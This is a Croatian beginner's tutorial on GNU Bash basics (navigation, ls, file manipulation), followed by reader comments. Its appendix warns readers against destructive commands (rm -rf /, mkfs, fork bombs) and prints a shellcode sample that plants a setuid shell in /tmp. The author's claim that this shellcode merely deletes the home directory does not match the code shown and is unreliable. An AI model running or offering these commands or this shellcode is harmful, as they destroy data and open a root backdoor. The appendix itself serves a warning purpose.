Hack the shell drugi dio – Hacking the bash

Hacking the Bash

U većini distribucija nativna ljuska je GNU Bash. U ovom poglavlju ćemo upoznati neke od osnovnih mogućnosti koje nam pruža GNU Bash te prošetati kroz datotečni sustav. Ukoliko ste već upoznati sa osnovnim mogućnostima ove ljuske osjećajte se slobodnima preskočiti ovo poglavlje te nastaviti na sljedećem gdje ćemo upoznati neke napredne funkcije i naredbe.

 

 

Gospodo, upalite motore!
GNU Bash je program koji korisniku pruža interaktivan pristup Linux sustavu. Radi kao običan program te se pokreće kad se korisnik ulogira u terminal. Ljuska koju vaš sustav pokreće ovisi o vašem korisničkom ID-u. /etc/passwd datoteka sadrži listu svih korisničkih računa računala.
Evo jedan primjer ispisa ove datoteke

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/false
daemon:x:2:2:daemon:/sbin:/bin/false
adm:x:3:4:adm:/var/adm:/bin/false
lp:x:4:7:lp:/var/spool/lpd:/bin/false
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
news:x:9:13:news:/var/spool/news:/bin/false
uucp:x:10:14:uucp:/var/spool/uucp:/bin/false
operator:x:11:0:operator:/root:/bin/bash
portage:x:250:250:portage:/var/tmp/portage:/bin/false
nobody:x:65534:65534:nobody:/var/empty:/bin/false
man:x:13:15:added by portage for man:/usr/share/man:/sbin/nologin
sshd:x:22:22:added by portage for openssh:/var/empty:/sbin/nologin
cron:x:16:16:added by portage for cronbase:/var/spool/cron:/sbin/nologin
mail:x:8:12:added by portage for mailbase:/var/spool/mail:/sbin/nologin
postmaster:x:14:249:added by portage for mailbase:/var/spool/mail:/sbin/nologin
messagebus:x:101:245:added by portage for dbus:/dev/null:/sbin/nologin
ldap:x:439:439:added by portage for openldap:/usr/lib64/openldap:/sbin/nologin
ntp:x:123:123:added by portage for ntp:/dev/null:/sbin/nologin
lutherus:x:1000:1000::/home/lutherus:/bin/zsh
mpd:x:102:18:added by portage for mpd:/var/lib/mpd:/sbin/nologin
transmission:x:103:103:added by portage for transmission:/dev/null:/sbin/nologin

Svaki unos ima sedam polja podataka. Sustav koristi te podatke kako bi svakome od unešenih korisnika osigurao određene privilegije i mogućnosti. Ta polja su:

  • korisničko ime
  • korisnička zaporka
  • korisnički ID za sustav
  • korisnički ID za grupu
  • puno korisničko ime
  • /home direktorij
  • korisnički shell

Većino ovih polja ćemo kasnije obraditi zasebno i detaljno a zasad ćemo se usredotočiti samo na Bash. Većina GNU/Linux distribucija koristi nativnu ljusku prilikom pristupanja naredbenom retku.
Bash prilikom pokretanja procesuira naredbe u .bashrc datoteci smještenoj u korisnikovom /home direktoriju.

Naredbeni redak

Jednom kad pokrenete terminal emulator ili se ulogirate u Linux konzolu dobivate pristup Linux naredbenom retku. Naredbeni redak je vaš vodič kroz shell, mjesto u kojem unosite naredbe.
Nativni znak za naredbeni redak je znak dolara ( $ ). On simbolizira da shell čeka unos naredbe.
No kako bilo, znak naredbenog retka, prompt, možete promjeniti a također razne distribucije koriste i različite promptove. Na mom, Gentoo GNU/Linux sustavu on izgleda ovako Lutherus@NCC-1701-E ~ # gdje je prvo moje korisničko ime te ime računala iza kojeg dolazi ime direktorija u kojem se trenutno nalazim te oznaka hash ( # ) dok u mom zsh shellu ( kojeg zapravo i koristim ) on izgleda ovako ~> . Prompt možete u potpunosti prilagoditi svojim potrebama i željama. Korisno je da se postave neke osnovne informacije koje će se prikazivati kao korisničko ime, ime direktorija i broj virtualne konzole u kojoj radimo. Dvije su varijable koje određuju njegov izgled, PS1 i PS2.
Evo i primjera za PS1 varijablu

PS1=”[\d \t \u@\h:\w ] $ “

ova varijablja prikazuje datum, vrijeme, ime računala te trenutan direktorij.

Bash manual

Većina distribucija isporučuje i manual stranice za većinu aplikacija pa tako i za Bash.
Njima pristupate tako da u terminal upišete man bash. Na isti način pristupate manualu za bilo koju drugu aplikaciju. Kroz manual se krećete služeći se strelicama ili space tipkom.

Kretanje stablom direktorija

Ako ste pokrenuli terminal na svom sustavu sigurno ste zamjetili da vas odmah baca u vaš korisnički /home drektorij. Ponekad, ako ne i vrlo često, poželjet ćete pobjeći od kuće i krenuti istraživati svijet. Sad ćemo saznati i kako to napraviti. Strukturu direktorija smo već upoznali pa nema potrebe da se ponovno vraćamo na nju. Ukoliko ste nešto zaboravili, vratite se par stranica unatrag.

Apsolutne putanje

Možete povući reference za neki direktorij unutar virtualnog direktorija preko apsolutnih putanja. Apsolutna putanja određuje gdje se točno nalazi neki direktorij u virtualnom direktoriju počevši od njegova korijena. Preko apsolutne putanje sustav točna zna kuda želite ići. Ona se specifira iz naredbe cd koja služi za kretanje stablom direktorija.
Na primjer želimo otići u /etc direktorij

~ > cd /etc
/etc >

No ukoliko se često krećete direktorijima unutar svojeg korisničkog direktorija, apsolutne putanje su malko mukotrpne. Zato postoji jednostavnije riješenje, relativne putanje.

 

Relativne putanje

Relativne putanje vam omogučuju da specificirate putanju relativnu na vašu trenutnu lokaciju bez da je započinjete sa korijenom. Dakle, ona ne započinje sa / što označava korijen direktorija. Relativna putanja započinje ili sa imenom direktorija ili sa posebnim znakom koj ga označava. Najčešći posebni znaci su

  • točka ( . ) predstavlja trenutni direktorij
  • dupla točka ( .. ) predstavlja prethodni direktorij

Dupla točka je vrlo korisna ukoliko se trebate otići u neki direktorij koj je van direktorija u kojem se trenutno nalazite, na primjer nalazite se u Documents direktoriju a želite otići u Desktop direktorij

~ > cd Documents
~/Documents > cd ../Desktop
~/Desktop >

Dupla točka nas je u ovome slučaju odvela 1 stupanj više u našem /home direktoriju te nas prebacila u Desktop direktorij. No, ako želite iz /home direktorija ući u /etc također se može preko relativne putanje

~ > cd ../../etc
/etc >

no traži više vremena da se unese nego apsolutna u tom slučaju.

Listanje direktorija i datoteka

Jedno od najosnovnijih svojstava shella je listanje direktorija i datoteka na sustavu. Za listanje se koristi naredba ls te ćemo se ovdje sa njom i upoznati.

Osnovno listanje
Naredba ls je najosnovnija naredba za izlistavanje direktorija i datoteka na sustavu.
Da se sa njom upoznamo, za početak otvorimo naš terminal i unesimo ls

~ > ls
Books builds configs Desktop Documents Downloads dwhelper mail Music Pictures scripts vampire Video
~ >

Primjetite da ls direktorije poreda po abecedi i rađe ih svrstava u red nego u stupac.
Ako koristite terminal emulator koji podržava boje primjetite kako ls naredba različite vrste direktorija oboji različitim bojama te kako bi odijelila datoteke od direktorija.
Ova naredba prikazuje datoteke i direktorije u trenutnom direktoriju no ne nužno i sve.
Linux često koristi skrivene datoteke i direktorije za pohranu konfiguracijskih datoteka.
To su datoteke i direktoriji čije ime započinje sa periodom “.”.Za njiovo prikazivanje koristi se argument a ( all ).

~ > ls -a
. Books .dbus .fontconfig linuxzasve.odt .maildir-sent .ncmpcpp vampire .wicd .zshrc
.. builds .ddd.py.swp .gconf linuxzasve.pdf .mozilla Pictures Video .Xauthority
.adobe .cache Desktop .gconfd .local .mpd scripts .vim .Xdefaults
.bash_history .ccache .dmenu_cache .htoprc .~lock.linuxzasve.odt# .mplayer .serverauth.16652 .vim-fuf-data .xinitrc
.bash_logout .config Documents .ipython .lyrics Music .serverauth.5900 .viminfo .xmobarrc
.bash_profile configs Downloads .irssi .macromedia .mutt .ssh .vim_mru_files .xmonad
.bashrc .conkyrc dwhelper .libreoffice mail .muttrc .thumbnails .vimrc .zcompdump
~ >

Velika promjena, zar ne? Kod korisnika koji koristi grafičko korisničko sučelje naći ćete podosta skrivenih konfiguracijskih datoteka. Ovaj konkretan primjer dolazi od korisnika koji koristi Xmonad sučelje.

-R je također koristan argument. On prikazuje isključivo datoteke sadržane u trenutnom direktoriju

Modificiranje prikazanih informacija
Sigurno ste primjetili kako naredba ls ne prikazuje previše informacija. Za ispis za više informacija koristimo parametar -l

~ > ls -l
total 10320
drwxr-xr-x 20 lutherus lutherus 4096 Mar 27 16:04 Books
drwxr-xr-x 3 lutherus lutherus 4096 Mar 29 10:40 builds
drwxr-xr-x 6 lutherus lutherus 4096 Mar 29 10:42 configs
drwxr-xr-x 2 lutherus lutherus 4096 Mar 22 11:40 Desktop
drwxr-xr-x 4 lutherus lutherus 4096 Mar 28 14:17 Documents
drwxr-xr-x 10 lutherus lutherus 4096 Mar 29 20:12 Downloads
drwxr-xr-x 2 lutherus lutherus 4096 Mar 28 13:40 dwhelper
-rw-r–r– 1 lutherus lutherus 7609640 Mar 29 10:02 linuxzasve.odt
-rw-r–r– 1 lutherus lutherus 2900920 Mar 29 10:35 linuxzasve.pdf
drwx—— 2 lutherus lutherus 4096 Mar 21 15:38 mail
drwxr-xr-x 17 lutherus lutherus 4096 Mar 29 20:12 Music
drwxr-xr-x 4 lutherus lutherus 4096 Mar 28 17:27 Pictures
drwxr-xr-x 7 lutherus lutherus 4096 Mar 25 10:22 scripts
drwxr-xr-x 2 lutherus lutherus 4096 Mar 22 11:41 vampire
drwxr-xr-x 11 lutherus lutherus 4096 Mar 29 19:13 Video
~ >

Parametar -l se još naziva i long listing. Sve sadržane direktorije izlistava u jednoj liniji po direktoriju uz vrlo korisne informacije o istome. Te informacije su

  • tip ( direktorij (d ), datoteka ( – ), znak ( c ) i blok ( b )
  • dozvolu
  • broj linkova za datoteku
  • vlasnik datoteke i direktorija
  • ime grupe
  • veličinu u bajtovima
  • vrijeme zadnje modifikacije
  • ime datoteke odnosno direktorija

Više parametara naredbe ls možete pronaći u njenom manualu ( man ls )

 

Manipuliranje datotekama

Linux shell pruža mnoge naredbe za manipulaciju datotekama. U ovome dijelu ćemo upoznati neke naredbe koje će nam povremeno zatrebati.

Kreiranje datoteka

Povremeno će te se naći u situaciji kada će biti potrebno kreirati. U takvome slučaju možete koristiti touch naredbu za izradu prazne datoteke

~ > touch pozdrav
~ > ls -il pozdrav
17039648 -rw-r–r– 1 lutherus lutherus 0 Mar 30 09:41 pozdrav
~ >

Kopiranje datoteka

Za kopiranje datoteka se koristi naredba cp dok naredba cp sa parametrom -r se koristi za kopiranje direktorija. Svi parametri naredbe cp se nalaze u njenom manualu.

 

Poveznice datoteka

Ako ste pručili manual za naredbu cp, sigurno ste primjetili nekoliko parametara koji se odnose na poveznice datoteke te ste sigurno time i zbunjeni.
Ovo je zapravo vrlo korisna opcija kod Linux sustava. Ukoliko trebate više kopija jedne datoteke ne morate raditi nove fizičke kopije već radite virtualne kopije. Virtualne kopije se nazivaju poveznicama. Postoje dvije vrste poveznica, simbolična poveznica ( soft link ) i tvrda poveznica ( hard link ) . Tvrde poveznice sadrže zasebnu datoteku u kojoj se nalaze sve informacije oko fizičke datoteke i gdje se ona nalazi te ih možete raditi samo kod datoteka na istome fizičkom mediju, ne možete hard linkati datoteku sa neke druge mount točke. Oni se rade sa parametrom -l naredbe cp dok sa parametrom -s radite simboličke poveznice.

Premještanje i preimenovanje datoteka i direktorija

Bilo da želite premjestiti ili pak da želite preimenovati neki direktorij ili datoteku, koristite naredbu mv (move). Ako želite premjestiti, npr. direktorij Videos u mapu Documents, naredbu mv koristite na sljedeći način

mv Videos /Documents

a ako pak želite direktorij Video preimenovati u direktorij Snimke, naredbu mv koristite na sljedeći način

mv Videos Snimke

Brisanje datoteka

Tijekom vaše karijere u Linuxu, zasigurno ćete poželjeti nešto obrisati pogotovo kod čišćenja sustava. Za brisanje poslužit ćemo se naredbom rm. Osnovna sintaksa naredbe rm je rm -i datoteka1. Sad ćemo obrisati datoteku koju smo prije kreirali naredbom pozdrav:

~ > rm -i pozdrav
rm: remove regular file `pozdrav’? y
~ >

Kao što vidite, naredba rm nas pita dali želimo tu datoteku obrisati. Jednom kad se pritisne y i potvrdi tipkom enter, ona se briše, odlazi zauvijek (ne, nije ju zameo vjetar).

Rad s direktorijima

Postoji nekoliko naredbi koje služe za rad sa datotekama i direktorijima ali i naredbe koje služe samo za rad sa direktorijima.

Kreiranje direktorija.

Kreiranje direktorija se vrši naredbom mkdir.

mkdir ~/novi_direktorij

Brisanje direktorija

Brisanje direktorija ponekad zna biti malo teže. Iskazuje mnoštvo prilika za Murphyeve zakone jer ako nešto može poći po zlu ovdje će poći po zlu. No, srećom, shell nas pokušava zaštititi od svega lošeg što se može dogoditi (shell je naš prijatelj).
Osnovna naredba za brisanje direktorija je naredba rm.
Nativno, ona radi samo brisanje praznih direktorija, no uz parametar -r možete prvo obrisati sve datoteke u tom direktoriju, a zatim i njega samoga.

Ispis sadržaja datoteke

Dosad smo pokrili neke osnovne naredbe koje nam olakšavaju život. Osim jedne korisne. Kako zaviriti u sadržaj datoteke bez da je otvorimo?

Statistika datoteke

Za pogled na statistiku datoteke se koristi naredba stat:

~ > stat .xmobarrc
File: `.xmobarrc’
Size: 965 Blocks: 8 IO Block: 4096 regular file
Device: 804h/2052d Inode: 17041427 Links: 1
Access: (0755/-rwxr-xr-x) Uid: ( 1000/lutherus) Gid: ( 1000/lutherus)
Access: 2012-03-29 10:43:14.324115282 +0200
Modify: 2012-03-29 10:43:14.324115282 +0200
Change: 2012-03-29 10:43:14.374115433 +0200
Birth: –
~ >

Ispis tipa datoteke

Za ovo ćemo se koristiti naredbom file. Evo i nekoliko primjera:

~ > file .vimrc
.vimrc: UTF-8 Unicode English text
~ > file ~/scripts/bash/sysinfo.sh
/home/lutherus/scripts/bash/sysinfo.sh: Bourne-Again shell script, ASCII text executable
~ >

Ispis cijele datoteke

Za pogled u datoteku, odnosno njen sadržaj, koristimo naredbu cat:

~ > cat ~/scripts/bash/trash.sh
#!/bin/bash

# set variable for trash directory
TRASHDIR=”/home/lutherus/.local/share/Trash”

# display size of TRASHDIR
du -hs $TRASHDIR

# pause for 3 seconds before continuing
sleep 3

# delete everything in TRASHDIR
rm –recursive –verbose $TRASHDIR/

~ >

Završna riječ

U ovome dijelu smo upoznali osnove Linux shella. Započelo je kratkim izletom kroz povijest te završilo upoznavanjem sa osnovnim radom u samome shellu. Naučili smo hijerarhiju datoteka, kretanje datotekama te kako manipulirati datoteke i direktorije.
Bash pruža mnoštvo aplikacija koje možete koristiti za povećavanje vlastite produkcije.
Prije nego se korisnik upusti u shell, bilo bi poželjno da nauči kako Linux finkcionira, koje su mu mogućnosti, kako radi sa uređajima i memorijom. Stoga smo u prošlom članku napravili manji zaokret te otišli proučiti sam kernel, srce sustava.
U sljedećim nastavcima ćemo upoznati neke napredne mogućnosti shella i zakoračiti u osnove skriptiranja te ćemo putem raditi i neke korisne programčiće koji olakšavaju život, a naše druženje ćemo završiti upoznavajući neke korisne CLI aplikacije koje olakšavaju život te napraviti minimalnu Gentoo instalaciju iskoristivši Ubuntu live CD.

Dodatak

Malciozan kod

Nema sustava koji je pošteđen malciozna koda pa tako ni GNU/Linux. Zato ćemo se sad upoznati sa nekim kodovima koje treba izbjegavati i kod kojih treba biti oprezan.
Brisanje trenutnog direktorija i svih datoteka

Naredbu za brisanje smo već upoznali. No, ukoliko ne pazite što radite ili pak smo vršite copy/paste u terminal svega što nađete na raznim forumima, može biti vrlo opasna:

rm -rf /
rm -rf .
rm -rf *

također, jedna od varijanti ove naredbe je rm -r .[^.]*

Uništavanje particije

mkfs
mkfs.ext3
mkfs.anything

Sve što se nalazi iza mkfs naredbe će biti uništeno i zamjenjeno praznom particijom!
Fork bomba
Iako ove naredbe privlače znatiželju, nemojte ih nikako isprobati, a ukoliko netko to vas traži da iz pokrenete – nemojte. One pokreću ogromne brojeve procesa sve dok se računalo ne smrzne, a onda pomaže jedino hard reset:
Bash fork bomba
(){:|:&};:

Perl fork bomba
fork while fork

Malciozan kod koji se kompajlira, potom i izvršava

Malciozan kod se nemora nužno pokretati iz shella ili shell skripte.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Nekome početniku ovo će izgledati kao hex code gibberish stuff, a ako može rješiti problem, kako kaže kolega, zašto ne pokrenuti. Evo zašto ne: ovo ne radi zapravo ništa drugo nego pokreće rm -rf ~ / & što će uništiti vaš /home direktorij.

Zato pazite, nemojte vršiti copy/paste naredbi u terminal, a za svaku naredbu za koju niste sigurni što radi, proučite njen manual.

 

Autor:Velimir B.

Click to rate this post!
[Total: 0 Average: 0]
VN:F [1.9.22_1171]
Stari sustav ocjenjivanja
Rating: 4.7/5 (3 votes cast)
Hack the shell drugi dio - Hacking the bash, 4.7 out of 5 based on 3 ratings

You may also like...

20 komentara

  1. Shicy napisao:

    Odličan članak 🙂
    Btw, Velimir nas je razmazio ovakvim vrhunskim člancima 🙂

  2. Daniel4m napisao:

    Pridruzujem se i ja cestitkama. Samo bi trebala manja ispravka u tekstu – poslije ispisa datoteke “Savaki unos ima …” i pod Završna riječ “U ovome dijelu samo …”

  3. calisto053 napisao:

    Odlično, samo naprijed!

  4. ant1h3r0 napisao:

    Super članak. Moje iskustvo je da je najbolje učiti čitanjem man stranica. 🙂

  5. drug tito napisao:

    Kad ce nastavak?

  6. Ivor napisao:

    ono nije bash fork bomb, fali joj nesto…

    • Branko napisao:

      Znamo. Ako dodamo ono što fali onda WP automatski nacrta smajlića. Tako da je to bash fork bomba kad joj oduzmeš smajlića. 😉

  7. lutherus napisao:

    Ovo je zadnji tutorial objavljen. Sve skripte budu dostupne u pdf-u uz mogučnost donacije te će također sve biti zajedno svedeno u jednu cijelinu u knjizi koja će biti dostupna po cijeni od 150 kn.

  8. domi napisao:

    Opako! 🙂